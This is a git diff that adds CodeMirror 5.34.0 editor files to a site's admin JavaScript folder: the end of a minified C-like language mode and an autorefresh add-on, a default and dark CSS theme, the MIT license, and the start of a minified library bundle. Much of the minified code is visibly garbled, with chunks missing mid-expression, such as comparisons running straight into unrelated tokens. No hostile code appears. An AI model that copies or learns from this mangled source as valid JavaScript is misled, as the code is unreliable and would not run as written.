+return"meta"}},modeProps:{fold:["brace","import"]}});l("text/x-csharp",{name:"clike",keywords:c("abstract as async await base break case catch checked class const continue default delegate do else enum event explicit extern finally fixed for foreach goto if implicit in interface internal is lock namespace new operator out override params private protected public readonly ref return sealed sizeof stackalloc static struct switch this throw try typeof unchecked unsafe using virtual void volatile while add alias ascending descending dynamic from get global group into join let orderby partial remove select set value var yield"),
+types:c("Action Boolean Byte Char DateTime DateTimeOffset Decimal Double Func Guid Int16 Int32 Int64 Object SByte Single String Task TimeSpan UInt16 UInt32 UInt64 bool byte char decimal double short int long object sbyte float string ushort uint ulong"),blockKeywords:c("catch class do else finally for foreach if struct switch try while"),defKeywords:c("class interface namespace struct var"),typeFirstDefinitions:!0,atoms:c("true false null"),hooks:{"@":function(a,b){if(a.eat('"'))return b.tokenize=
+A,A(a,b);a.eatWhile(/[\w\$_]/);return"meta"}}});l("text/x-scala",{name:"clike",keywords:c("abstract case catch class def do else extends final finally for forSome if implicit import lazy match new null object override package private protected return sealed super this throw trait try type val var while with yield _ assert assume require print println printf readLine readBoolean readByte readShort readChar readInt readLong readFloat readDouble"),types:c("AnyVal App Application Array BufferedIterator BigDecimal BigInt Char Console Either Enumeration Equiv Error Exception Fractional Function IndexedSeq Int Integral Iterable Iterator List Map Numeric Nil NotNull Option Ordered Ordering PartialFunction PartialOrdering Product Proxy Range Responder Seq Serializable Set Specializable Stream StringBuilder StringContext Symbol Throwable Traversable TraversableOnce Tuple Unit Vector Boolean Byte Character CharSequence Class ClassLoader Cloneable Comparable Compiler Double Exception Float Integer Long Math Number Object Package Pair Process Runtime Runnable SecurityManager Short StackTraceElement StrictMath String StringBuffer System Thread ThreadGroup ThreadLocal Throwable Triple Void"),
+multiLineStrings:!0,blockKeywords:c("catch class enum do else finally for forSome if match switch try while"),defKeywords:c("class enum def object package trait type val var"),atoms:c("true false null"),indentStatements:!1,indentSwitch:!1,isOperatorChar:/[+\-*&%=<>!?|\/#:@]/,hooks:{"@":function(a){a.eatWhile(/[\w\$_]/);return"meta"},'"':function(a,b){if(!a.match('""'))return!1;b.tokenize=D;return b.tokenize(a,b)},"'":function(a){a.eatWhile(/[\w\$_\xa1-\uffff]/);return"atom"},"=":function(a,b){var c=
+b.context;return"}"==c.type&&c.align&&a.eat(">")?(b.context=new C(c.indented,c.column,c.type,c.info,null,c.prev),"operator"):!1},"/":function(a,b){if(!a.eat("*"))return!1;b.tokenize=x(1);return b.tokenize(a,b)}},modeProps:{closeBrackets:{triples:'"'}}});l("text/x-kotlin",{name:"clike",keywords:c("package as typealias class interface this super val var fun for is in This throw return break continue object if else while do try when !in !is as? file import where by get set abstract enum open inner override private public internal protected catch finally out final vararg reified dynamic companion constructor init sealed field property receiver param sparam lateinit data inline noinline tailrec external annotation crossinline const operator infix suspend actual expect"),
+types:c("Boolean Byte Character CharSequence Class ClassLoader Cloneable Comparable Compiler Double Exception Float Integer Long Math Number Object Package Pair Process Runtime Runnable SecurityManager Short StackTraceElement StrictMath String StringBuffer System Thread ThreadGroup ThreadLocal Throwable Triple Void"),intendSwitch:!1,indentStatements:!1,multiLineStrings:!0,number:/^(?:0x[a-f\d_]+|0b[01_]+|(?:[\d_]+(\.\d+)?|\.\d+)(?:e[-+]?[\d_]+)?)(u|ll?|l|f)?/i,blockKeywords:c("catch class do else finally for if where try while enum"),
+defKeywords:c("class val var object interface fun"),atoms:c("true false null this"),hooks:{'"':function(a,b){b.tokenize=E(a.match('""'));return b.tokenize(a,b)}},modeProps:{closeBrackets:{triples:'"'}}});l(["x-shader/x-vertex","x-shader/x-fragment"],{name:"clike",keywords:c("sampler1D sampler2D sampler3D samplerCube sampler1DShadow sampler2DShadow const attribute uniform varying break continue discard return for while do if else struct in out inout"),types:c("float int bool void vec2 vec3 vec4 ivec2 ivec3 ivec4 bvec2 bvec3 bvec4 mat2 mat3 mat4"),
+blockKeywords:c("for while do if else struct"),builtin:c("radians degrees sin cos tan asin acos atan pow exp log exp2 sqrt inversesqrt abs sign floor ceil fract mod min max clamp mix step smoothstep length distance dot cross normalize ftransform faceforward reflect refract matrixCompMult lessThan lessThanEqual greaterThan greaterThanEqual equal notEqual any all not texture1D texture1DProj texture1DLod texture1DProjLod texture2D texture2DProj texture2DLod texture2DProjLod texture3D texture3DProj texture3DLod texture3DProjLod textureCube textureCubeLod shadow1D shadow2D shadow1DProj shadow2DProj shadow1DLod shadow2DLod shadow1DProjLod shadow2DProjLod dFdx dFdy fwidth noise1 noise2 noise3 noise4"),
+atoms:c("true false gl_FragColor gl_SecondaryColor gl_Normal gl_Vertex gl_MultiTexCoord0 gl_MultiTexCoord1 gl_MultiTexCoord2 gl_MultiTexCoord3 gl_MultiTexCoord4 gl_MultiTexCoord5 gl_MultiTexCoord6 gl_MultiTexCoord7 gl_FogCoord gl_PointCoord gl_Position gl_PointSize gl_ClipVertex gl_FrontColor gl_BackColor gl_FrontSecondaryColor gl_BackSecondaryColor gl_TexCoord gl_FogFragCoord gl_FragCoord gl_FrontFacing gl_FragData gl_FragDepth gl_ModelViewMatrix gl_ProjectionMatrix gl_ModelViewProjectionMatrix gl_TextureMatrix gl_NormalMatrix gl_ModelViewMatrixInverse gl_ProjectionMatrixInverse gl_ModelViewProjectionMatrixInverse gl_TexureMatrixTranspose gl_ModelViewMatrixInverseTranspose gl_ProjectionMatrixInverseTranspose gl_ModelViewProjectionMatrixInverseTranspose gl_TextureMatrixInverseTranspose gl_NormalScale gl_DepthRange gl_ClipPlane gl_Point gl_FrontMaterial gl_BackMaterial gl_LightSource gl_LightModel gl_FrontLightModelProduct gl_BackLightModelProduct gl_TextureColor gl_EyePlaneS gl_EyePlaneT gl_EyePlaneR gl_EyePlaneQ gl_FogParameters gl_MaxLights gl_MaxClipPlanes gl_MaxTextureUnits gl_MaxTextureCoords gl_MaxVertexAttribs gl_MaxVertexUniformComponents gl_MaxVaryingFloats gl_MaxVertexTextureImageUnits gl_MaxTextureImageUnits gl_MaxFragmentUniformComponents gl_MaxCombineTextureImageUnits gl_MaxDrawBuffers"),
+indentSwitch:!1,hooks:{"#":n},modeProps:{fold:["brace","include"]}});l("text/x-nesc",{name:"clike",keywords:c("auto if break case register continue return default do sizeof static else struct switch extern typedef union for goto while enum const volatileas atomic async call command component components configuration event generic implementation includes interface module new norace nx_struct nx_union post provides signal task uses abstract extends"),types:c("int long char short double float unsigned signed void size_t ptrdiff_t"),
+blockKeywords:c("case do else for if switch while struct"),atoms:c("null true false"),hooks:{"#":n},modeProps:{fold:["brace","include"]}});l("text/x-objectivec",{name:"clike",keywords:c("auto if break case register continue return default do sizeof static else struct switch extern typedef union for goto while enum const volatileinline restrict _Bool _Complex _Imaginary BOOL Class bycopy byref id IMP in inout nil oneway out Protocol SEL self super atomic nonatomic retain copy readwrite readonly"),
+types:c("int long char short double float unsigned signed void size_t ptrdiff_t"),atoms:c("YES NO NULL NILL ON OFF true false"),hooks:{"@":function(a){a.eatWhile(/[\w\$]/);return"keyword"},"#":n,indent:function(a,b,c){if("statement"==b.type&&/^@\w/.test(c))return b.indented}},modeProps:{fold:"brace"}});l("text/x-squirrel",{name:"clike",keywords:c("base break clone continue const default delete enum extends function in class foreach local resume return this throw typeof yield constructor instanceof static"),
+types:c("int long char short double float unsigned signed void size_t ptrdiff_t"),blockKeywords:c("case catch class else for foreach if switch try while"),defKeywords:c("function local class"),typeFirstDefinitions:!0,atoms:c("true false null"),hooks:{"#":n},modeProps:{fold:["brace","include"]}});var t=null;l("text/x-ceylon",{name:"clike",keywords:c("abstracts alias assembly assert assign break case catch class continue dynamic else exists extends finally for function given if import in interface is let module new nonempty object of out outer package return satisfies super switch then this throw try value void while"),
+types:function(a){a=a.charAt(0);return a===a.toUpperCase()&&a!==a.toLowerCase()},blockKeywords:c("case catch class dynamic else finally for function if interface module new object switch try while"),defKeywords:c("class dynamic function interface module object package value"),builtin:c("abstract actual aliased annotation by default deprecated doc final formal late license native optional sealed see serializable shared suppressWarnings tagged throws variable"),isPunctuationChar:/[\[\]{}\(\),;:\.`]/,
+isOperatorChar:/[+\-*&%=<>!?|^~:\/]/,numberStart:/[\d#$]/,number:/^(?:#[\da-fA-F_]+|\$[01_]+|[\d_]+[kMGTPmunpf]?|[\d_]+\.[\d_]+(?:[eE][-+]?\d+|[kMGTPmunpf]|)|)/i,multiLineStrings:!0,typeFirstDefinitions:!0,atoms:c("true false null larger smaller equal empty finished"),indentSwitch:!1,styleDefs:!1,hooks:{"@":function(a){a.eatWhile(/[\w\$_]/);return"meta"},'"':function(a,b){b.tokenize=B(a.match('""')?"triple":"single");return b.tokenize(a,b)},"`":function(a,b){if(!t||!a.match("`"))return!1;b.tokenize=
+t;t=null;return b.tokenize(a,b)},"'":function(a){a.eatWhile(/[\w\$_\xa1-\uffff]/);return"atom"},token:function(a,b,c){if(("variable"==c||"type"==c)&&"."==b.prevToken)return"variable-2"}},modeProps:{fold:["brace","import"],closeBrackets:{triples:'"'}}})});
+
+(function(c){"object"==typeof exports&&"object"==typeof module?c(require("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],c):c(CodeMirror)})(function(c){function f(b,a){function d(){b.display.wrapper.offsetHeight?(e(b,a),b.display.lastWrapHeight!=b.display.wrapper.clientHeight&&b.refresh()):a.timeout=setTimeout(d,a.delay)}a.timeout=setTimeout(d,a.delay);a.hurry=function(){clearTimeout(a.timeout);a.timeout=setTimeout(d,50)};c.on(window,"mouseup",a.hurry);
+c.on(window,"keyup",a.hurry)}function e(b,a){clearTimeout(a.timeout);c.off(window,"mouseup",a.hurry);c.off(window,"keyup",a.hurry)}c.defineOption("autoRefresh",!1,function(b,a){b.state.autoRefresh&&(e(b,b.state.autoRefresh),b.state.autoRefresh=null);a&&0==b.display.wrapper.offsetHeight&&f(b,b.state.autoRefresh={delay:a.delay||250})})});
\ No newline at end of file
diff --git a/public/admin/view/javascript/codemirror-froala/css/default.css b/public/admin/view/javascript/codemirror-froala/css/default.css
new file mode 100644
index 0000000..048bbc0
--- /dev/null
+++ b/public/admin/view/javascript/codemirror-froala/css/default.css
@@ -0,0 +1,403 @@
+/* BASICS */
+
+.CodeMirror {
+ /* Set height, width, borders, and global font properties here */
+ font-family: Menlo, Monaco, Consolas, "Courier New", monospace;
+ font-size: 12px;
+ line-height:normal;
+ height: 100%;
+}
+
+/* PADDING */
+
+.CodeMirror-lines {
+ padding: 4px 0; /* Vertical padding around content */
+}
+.CodeMirror pre {
+ padding: 0 4px; /* Horizontal padding of content */
+}
+
+.CodeMirror-scrollbar-filler, .CodeMirror-gutter-filler {
+ background-color: white; /* The little square between H and V scrollbars */
+}
+
+/* GUTTER */
+
+.CodeMirror-gutters {
+ border-right: 1px solid #ddd;
+ background-color: #f7f7f7;
+ white-space: nowrap;
+}
+.CodeMirror-linenumbers {}
+.CodeMirror-linenumber {
+ padding: 0 3px 0 5px;
+ min-width: 20px;
+ text-align: right;
+ color: #999;
+ -moz-box-sizing: content-box;
+ box-sizing: content-box;
+}
+
+.CodeMirror-guttermarker { color: black; }
+.CodeMirror-guttermarker-subtle { color: #999; }
+
+/* CURSOR */
+
+.CodeMirror div.CodeMirror-cursor {
+ border-left: 1px solid black;
+}
+/* Shown when moving in bi-directional text */
+.CodeMirror div.CodeMirror-secondarycursor {
+ border-left: 1px solid silver;
+}
+.CodeMirror.cm-fat-cursor div.CodeMirror-cursor {
+ width: auto;
+ border: 0;
+ background: #7e7;
+}
+.CodeMirror.cm-fat-cursor div.CodeMirror-cursors {
+ z-index: 1;
+}
+
+.cm-animate-fat-cursor {
+ width: auto;
+ border: 0;
+ -webkit-animation: blink 1.06s steps(1) infinite;
+ -moz-animation: blink 1.06s steps(1) infinite;
+ animation: blink 1.06s steps(1) infinite;
+}
+@-moz-keyframes blink {
+ 0% { background: #7e7; }
+ 50% { background: none; }
+ 100% { background: #7e7; }
+}
+@-webkit-keyframes blink {
+ 0% { background: #7e7; }
+ 50% { background: none; }
+ 100% { background: #7e7; }
+}
+@keyframes blink {
+ 0% { background: #7e7; }
+ 50% { background: none; }
+ 100% { background: #7e7; }
+}
+
+/* Can style cursor different in overwrite (non-insert) mode */
+div.CodeMirror-overwrite div.CodeMirror-cursor {}
+
+.cm-tab { display: inline-block; text-decoration: inherit; }
+
+.CodeMirror-ruler {
+ border-left: 1px solid #ccc;
+ position: absolute;
+}
+
+/* DEFAULT THEME */
+
+.cm-s-default .cm-keyword {color: #708;}
+.cm-s-default .cm-atom {color: #219;}
+.cm-s-default .cm-number {color: #164;}
+.cm-s-default .cm-def {color: #00f;}
+.cm-s-default .cm-variable,
+.cm-s-default .cm-punctuation,
+.cm-s-default .cm-property,
+.cm-s-default .cm-operator {}
+.cm-s-default .cm-variable-2 {color: #05a;}
+.cm-s-default .cm-variable-3 {color: #085;}
+.cm-s-default .cm-comment {color: #a50;}
+.cm-s-default .cm-string {color: #a11;}
+.cm-s-default .cm-string-2 {color: #f50;}
+.cm-s-default .cm-meta {color: #555;}
+.cm-s-default .cm-qualifier {color: #555;}
+.cm-s-default .cm-builtin {color: #30a;}
+.cm-s-default .cm-bracket {color: #997;}
+.cm-s-default .cm-tag {color: #170;}
+.cm-s-default .cm-attribute {color: #00c;}
+.cm-s-default .cm-header {color: blue;}
+.cm-s-default .cm-quote {color: #090;}
+.cm-s-default .cm-hr {color: #999;}
+.cm-s-default .cm-link {color: #00c;}
+
+.cm-negative {color: #d44;}
+.cm-positive {color: #292;}
+.cm-header, .cm-strong {font-weight: bold;}
+.cm-em {font-style: italic;}
+.cm-link {text-decoration: underline;}
+.cm-strikethrough {text-decoration: line-through;}
+
+.cm-s-default .cm-error {color: #f00;}
+.cm-invalidchar {color: #f00;}
+
+/* Default styles for common addons */
+
+div.CodeMirror span.CodeMirror-matchingbracket {color: #0f0;}
+div.CodeMirror span.CodeMirror-nonmatchingbracket {color: #f22;}
+.CodeMirror-matchingtag { background: rgba(255, 150, 0, .3); }
+.CodeMirror-activeline-background {background: #e8f2ff;}
+
+/* STOP */
+
+/* The rest of this file contains styles related to the mechanics of
+ the editor. You probably shouldn't touch them. */
+
+.CodeMirror {
+ position: relative;
+ overflow: hidden;
+ background: white;
+ color: black;
+}
+
+.CodeMirror-scroll {
+ overflow: scroll !important; /* Things will break if this is overridden */
+ /* 30px is the magic margin used to hide the element's real scrollbars */
+ /* See overflow: hidden in .CodeMirror */
+ margin-bottom: -30px; margin-right: -30px;
+ padding-bottom: 30px;
+ height: 100%;
+ outline: none; /* Prevent dragging from highlighting the element */
+ position: relative;
+ -moz-box-sizing: content-box;
+ box-sizing: content-box;
+}
+.CodeMirror-sizer {
+ position: relative;
+ border-right: 30px solid transparent;
+ -moz-box-sizing: content-box;
+ box-sizing: content-box;
+}
+
+/* Force content-box sizing for the elements where we expect it */
+.CodeMirror-scroll,
+.CodeMirror-sizer,
+.CodeMirror-gutter,
+.CodeMirror-gutters,
+.CodeMirror-linenumber {
+ -moz-box-sizing: content-box;
+ box-sizing: content-box;
+}
+
+/* The fake, visible scrollbars. Used to force redraw during scrolling
+ before actuall scrolling happens, thus preventing shaking and
+ flickering artifacts. */
+.CodeMirror-vscrollbar, .CodeMirror-hscrollbar, .CodeMirror-scrollbar-filler, .CodeMirror-gutter-filler {
+ position: absolute;
+ z-index: 6;
+ display: none;
+}
+.CodeMirror-vscrollbar {
+ right: 0; top: 0;
+ overflow-x: hidden;
+ overflow-y: scroll;
+}
+.CodeMirror-hscrollbar {
+ bottom: 0; left: 0;
+ overflow-y: hidden;
+ overflow-x: scroll;
+}
+.CodeMirror-scrollbar-filler {
+ right: 0; bottom: 0;
+}
+.CodeMirror-gutter-filler {
+ left: 0; bottom: 0;
+}
+
+.CodeMirror-gutters {
+ position: absolute; left: 0; top: 0;
+ min-height: 100%;
+ z-index: 3;
+}
+.CodeMirror-gutter {
+ white-space: normal;
+ height: 100%;
+ -moz-box-sizing: content-box;
+ box-sizing: content-box;
+ display: inline-block;
+ margin-bottom: -30px;
+ /* Hack to make IE7 behave */
+ *zoom:1;
+ *display:inline;
+}
+.CodeMirror-gutter-wrapper {
+ position: absolute;
+ z-index: 4;
+ height: 100%;
+}
+.CodeMirror-gutter-elt {
+ position: absolute;
+ cursor: default;
+ z-index: 4;
+}
+
+.CodeMirror-lines {
+ cursor: text;
+ min-height: 1px; /* prevents collapsing before first draw */
+}
+.CodeMirror pre {
+ /* Reset some styles that the rest of the page might have set */
+ -moz-border-radius: 0; -webkit-border-radius: 0; border-radius: 0;
+ border-width: 0;
+ background: transparent;
+ margin: 0;
+ white-space: pre;
+ word-wrap: normal;
+ z-index: 2;
+ position: relative;
+ overflow: visible;
+}
+.CodeMirror-wrap pre {
+ word-wrap: break-word;
+ white-space: pre-wrap;
+ word-break: normal;
+}
+
+.CodeMirror-linebackground {
+ position: absolute;
+ left: 0; right: 0; top: 0; bottom: 0;
+ z-index: 0;
+}
+
+.CodeMirror-linewidget {
+ position: relative;
+ z-index: 2;
+ overflow: auto;
+}
+
+.CodeMirror-widget {}
+
+.CodeMirror-measure {
+ position: absolute;
+ width: 100%;
+ height: 0;
+ overflow: hidden;
+ visibility: hidden;
+}
+.CodeMirror-measure pre { position: static; }
+
+.CodeMirror div.CodeMirror-cursor {
+ position: absolute;
+ border-right: none;
+ width: 0;
+}
+
+div.CodeMirror-cursors {
+ visibility: hidden;
+ position: relative;
+ z-index: 3;
+}
+.CodeMirror-focused div.CodeMirror-cursors {
+ visibility: visible;
+}
+
+.CodeMirror-selected { background: #d9d9d9; }
+.CodeMirror-focused .CodeMirror-selected { background: #d7d4f0; }
+.CodeMirror-crosshair { cursor: crosshair; }
+
+.cm-searching {
+ background: #ffa;
+ background: rgba(255, 255, 0, .4);
+}
+
+/* IE7 hack to prevent it from returning funny offsetTops on the spans */
+.CodeMirror span { *vertical-align: text-bottom; }
+
+/* Used to force a border model for a node */
+.cm-force-border { padding-right: .1px; }
+
+@media print {
+ /* Hide the cursor when printing */
+ .CodeMirror div.CodeMirror-cursors {
+ visibility: hidden;
+ }
+}
+
+/* See issue #2901 */
+.cm-tab-wrap-hack:after { content: ''; }
+
+/* Help users use markselection to safely style text background */
+span.CodeMirror-selectedtext { background: none; }
+
+.CodeMirror-search-match {
+ background: gold;
+ border-top: 1px solid orange;
+ border-bottom: 1px solid orange;
+ -moz-box-sizing: border-box;
+ box-sizing: border-box;
+ opacity: .5;
+}
+
+.CodeMirror-dialog {
+ position: absolute;
+ left: 0; right: 0;
+ background: white;
+ z-index: 15;
+ padding: .1em .8em;
+ overflow: hidden;
+ color: #333;
+}
+
+.CodeMirror-dialog-top {
+ border-bottom: 1px solid #eee;
+ top: 0;
+}
+
+.CodeMirror-dialog-bottom {
+ border-top: 1px solid #eee;
+ bottom: 0;
+}
+
+.CodeMirror-dialog input {
+ border: none;
+ outline: none;
+ background: transparent;
+ width: 20em;
+ color: inherit;
+ font-family: monospace;
+}
+
+.CodeMirror-dialog button {
+ font-size: 70%;
+}
+
+/*!
+ * CodeMirror dark
+ */
+
+.dle_theme_dark .CodeMirror-guttermarker{color:#ddd}
+.dle_theme_dark .CodeMirror div.CodeMirror-cursor{border-left:1px solid #ddd}
+.dle_theme_dark .CodeMirror {
+ color: #ddd;
+ background-color: rgba(0,0,0,.2);
+}
+
+.dle_theme_dark .cm-tag {color: #e06c75;}
+.dle_theme_dark .cm-attribute {color: #d19a66;}
+.dle_theme_dark .cm-link {color: #98c379;border-bottom: solid 1px #98c379;}
+
+.dle_theme_dark .cm-builtin {color: #e06c75;}
+.dle_theme_dark .cm-keyword {color: #c678dd;}
+.dle_theme_dark .cm-def {color: #e5c07b;}
+
+.dle_theme_dark .cm-atom {color: #d19a66;}
+.dle_theme_dark .cm-number {color: #d19a66;}
+.dle_theme_dark .cm-property {color: #61afef;}
+.dle_theme_dark .cm-qualifier {color: #d19a66;}
+
+.dle_theme_dark .cm-variable {color: #e06c75;}
+.dle_theme_dark .cm-variable-2 {color: #abb2bf;}
+.dle_theme_dark .cm-variable-3 {color: #e5c07b;}
+
+.dle_theme_dark .cm-string {color: #98c379;}
+.dle_theme_dark .cm-string-2 {color: #98c379;}
+
+.dle_theme_dark .cm-punctuation {color: #abb2bf;}
+.dle_theme_dark .cm-operator {color: #abb2bf;}
+.dle_theme_dark .cm-meta {color: #abb2bf;}
+.dle_theme_dark .cm-bracket {color: #abb2bf;}
+.dle_theme_dark .cm-comment {color: #5c6370;font-style: italic;}
+
+.dle_theme_dark .CodeMirror-gutters {
+ border-right: 1px solid #616161;
+ background-color: #1C212B;
+}
+
+.dle_theme_dark .CodeMirror-selected {background:#555;}
diff --git a/public/admin/view/javascript/codemirror-froala/js/LICENSE b/public/admin/view/javascript/codemirror-froala/js/LICENSE
new file mode 100644
index 0000000..3f7c0bb
--- /dev/null
+++ b/public/admin/view/javascript/codemirror-froala/js/LICENSE
@@ -0,0 +1,19 @@
+Copyright (C) 2011 by Marijn Haverbeke
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.
diff --git a/public/admin/view/javascript/codemirror-froala/js/code.js b/public/admin/view/javascript/codemirror-froala/js/code.js
new file mode 100644
index 0000000..032ca28
--- /dev/null
+++ b/public/admin/view/javascript/codemirror-froala/js/code.js
@@ -0,0 +1,518 @@
+/* CodeMirror - Minified & Bundled
+ Generated with http://codemirror.net/doc/compress.html
+ Version: 5.34.0
+
+ CodeMirror Library:
+ - codemirror.js
+ Modes:
+ - css.js
+ - htmlembedded.js
+ - htmlmixed.js
+ - javascript.js
+ - xml.js
+ - php.js
+ - clike.js
+ - sql.js
+ Add-ons:
+ - dialog.js
+ - search.js
+ - searchcursor.js
+ - searchcursor.js
+ - autorefresh.js
+ */
+
+(function(q,I){"object"===typeof exports&&"undefined"!==typeof module?module.exports=I():"function"===typeof define&&define.amd?define(I):q.CodeMirror=I()})(this,function(){function q(a){return new RegExp("(^|\\s)"+a+"(?:$|\\s)\\s*")}function I(a){for(var b=a.childNodes.length;0h||h>=b)return e+(b-d);
+e+=h-d;e+=c-e%c;d=h+1}}function H(a,b){for(var c=0;c=b)return d+Math.min(l,b-e);e+=h-d;e+=c-e%c;d=h+1;if(e>=b)return d}}function F(a){for(;Yc.length<=a;)Yc.push(g(Yc)+" ");return Yc[a]}function g(a){return a[a.length-1]}function x(a,b){for(var c=[],d=0;dc?0c?-1:1;;){if(b==c)return b;var e=(b+c)/2;e=0>d?Math.ceil(e):Math.floor(e);if(e==b)return a(e)?b:c;a(e)?c=e:b=e+d}}function za(a,b,c){this.input=c;this.scrollbarFiller=t("div",null,"CodeMirror-scrollbar-filler");this.scrollbarFiller.setAttribute("cm-not-content","true");this.gutterFiller=t("div",null,"CodeMirror-gutter-filler");this.gutterFiller.setAttribute("cm-not-content","true");this.lineDiv=w("div",null,"CodeMirror-code");this.selectionDiv=t("div",null,
+null,"position: relative; z-index: 1");this.cursorDiv=t("div",null,"CodeMirror-cursors");this.measure=t("div",null,"CodeMirror-measure");this.lineMeasure=t("div",null,"CodeMirror-measure");this.lineSpace=w("div",[this.measure,this.lineMeasure,this.selectionDiv,this.cursorDiv,this.lineDiv],null,"position: relative; outline: none");var d=w("div",[this.lineSpace],"CodeMirror-lines");this.mover=t("div",[d],null,"position: relative");this.sizer=t("div",[this.mover],"CodeMirror-sizer");this.sizerWidth=
+null;this.heightForcer=t("div",null,null,"position: absolute; height: 30px; width: 1px;");this.gutters=t("div",null,"CodeMirror-gutters");this.lineGutter=null;this.scroller=t("div",[this.sizer,this.heightForcer,this.gutters],"CodeMirror-scroll");this.scroller.setAttribute("tabIndex","-1");this.wrapper=t("div",[this.scrollbarFiller,this.gutterFiller,this.scroller],"CodeMirror");R&&8>fa&&(this.gutters.style.zIndex=-1,this.scroller.style.paddingRight=0);va||hb&&gc||(this.scroller.draggable=!0);a&&(a.appendChild?
+a.appendChild(this.wrapper):a(this.wrapper));this.reportedViewFrom=this.reportedViewTo=this.viewFrom=this.viewTo=b.first;this.view=[];this.externalMeasured=this.renderedView=null;this.lastWrapHeight=this.lastWrapWidth=this.viewOffset=0;this.updateLineNumbers=null;this.nativeBarWidth=this.barHeight=this.barWidth=0;this.scrollbarsClipped=!1;this.lineNumWidth=this.lineNumInnerWidth=this.lineNumChars=null;this.alignWidgets=!1;this.maxLine=this.cachedCharWidth=this.cachedTextHeight=this.cachedPaddingH=
+null;this.maxLineLength=0;this.maxLineChanged=!1;this.wheelDX=this.wheelDY=this.wheelStartX=this.wheelStartY=null;this.shift=!1;this.activeTouch=this.selForContextMenu=null;c.init(this)}function A(a,b){b-=a.first;if(0>b||b>=a.size)throw Error("There is no line "+(b+a.first)+" in the document.");for(var c=a;!c.lines;)for(var d=0;;++d){var e=c.children[d],h=e.chunkSize();if(b=a.first&&bK(a,b)?b:a}function Va(a,b){return 0>K(a,b)?a:b}function M(a,b){if(b.linec)return z(c,A(a,c).text.length);c=A(a,b.line).text.length;var d=b.ch;c=null==d||d>c?z(b.line,c):0>d?z(b.line,0):b;return c}function cb(a,b){for(var c=[],d=0;d=e:G.to>e);(n||(n=[])).push(new Kb(m,G.from,f?null:G.to))}}c=
+n;var ba;if(d)for(n=0;n=h:r.to>h)||r.from==h&&"bookmark"==G.type&&(!l||r.marker.insertLeft))m=null==r.from||(G.inclusiveLeft?r.from<=h:r.fromK(l.to,e.from)||0r||!c.inclusiveLeft&&!r)&&n.push({from:l.from,to:e.from});(0E(h,d.marker)))var h=d.marker;return h}function N(a,b,c,d,e){a=A(a,b);if(a=ib&&a.markedSpans)for(b=0;b=r||0>=n&&0<=r)&&(0>=n&&(h.marker.inclusiveRight&&e.inclusiveLeft?0<=
+K(l.to,c):0=K(l.from,d):0>K(l.from,d))))return!0}}}function Da(a){for(var b;b=Wa(a,!0);)a=b.find(-1,!0).line;return a}function Aa(a,b){var c=A(a,b),d=Da(c);return c==d?b:T(d)}function Zc(a,b){if(b>a.lastLine())return b;var c=A(a,b),d;if(!Ea(a,c))return b;for(;d=Wa(c,!1);)c=d.find(1,!0).line;return T(c)+1}function Ea(a,b){var c=ib&&b.markedSpans;if(c)for(var d,e=0;eb.maxLineLength&&(b.maxLineLength=d,b.maxLine=a)})}function Ed(a,b,c,d){if(!a)return d(b,c,"ltr",0);for(var e=!1,h=0;hb||b==c&&l.to==b)d(Math.max(l.from,b),Math.min(l.to,c),1==l.level?"rtl":"ltr",h),e=!0}e||d(b,c,"ltr")}function Xa(a,b,c){var d;lc=null;for(var e=0;eb)return e;h.to==b&&(h.from!=h.to&&"before"==c?d=e:lc=e);h.from==b&&(h.from!=h.to&&"before"!=c?d=e:lc=e)}return null!=
+d?d:lc}function Na(a,b){var c=a.order;null==c&&(c=a.order=og(a.text,b));return c}function ja(a,b,c){if(a.removeEventListener)a.removeEventListener(b,c,!1);else if(a.detachEvent)a.detachEvent("on"+b,c);else{var d=(a=a._handlers)&&a[b];d&&(c=H(d,c),-1=b.offsetWidth&&2fa))}a=
+Fd?t("span","\u200b"):t("span","\u00a0",null,"display: inline-block; width: 1px; margin-right: -1px");a.setAttribute("cm-text","");return a}function Gd(a,b){2a&&e.splice(r,1,a,e[r+1],c);r+=2;m=Math.min(a,c)}if(b)if(n.opaque)e.splice(d,r-d,a,"overlay "+b),r=d+2;else for(;da.options.maxHighlightLength&&db(a.doc.mode,d.state),h=oc(a,b,d);e&&(d.state=e);b.stateAfter=d.save(!e);b.styles=h.styles;h.classes?b.styleClasses=h.classes:b.styleClasses&&(b.styleClasses=null);c===a.doc.highlightFrontier&&(a.doc.modeFrontier=Math.max(a.doc.modeFrontier,++a.doc.highlightFrontier))}return b.styles}function Ja(a,b,c){var d=a.doc,e=a.display;if(!d.mode.startState)return new Ya(d,!0,b);var h=Rb(a,b,c),l=h>d.first&&A(d,h-1).stateAfter,n=l?Ya.fromSaved(d,l,h):new Ya(d,
+eb(d.mode),h);d.iter(h,b,function(d){ha(a,d.text,n);var c=n.line;d.stateAfter=c==b-1||0==c%5||c>=e.viewFrom&&ce;e++){d&&(d[0]=Qb(a,c).mode);var h=a.token(b,c);if(b.pos>b.start)return h}throw Error("Mode "+a.name+" failed to advance stream.");}function pc(a,b,c,d){var e=a.doc,h=e.mode;b=M(e,b);var l=A(e,b.line);c=Ja(a,b.line,c);a=new la(l.text,a.options.tabSize,c);var n;for(d&&(n=[]);(d||a.posa.options.maxHighlightLength){n=!1;l&&ha(a,b,d,m.pos);m.pos=b.length;var k=null}else k=dd(Tb(c,m,d.state,
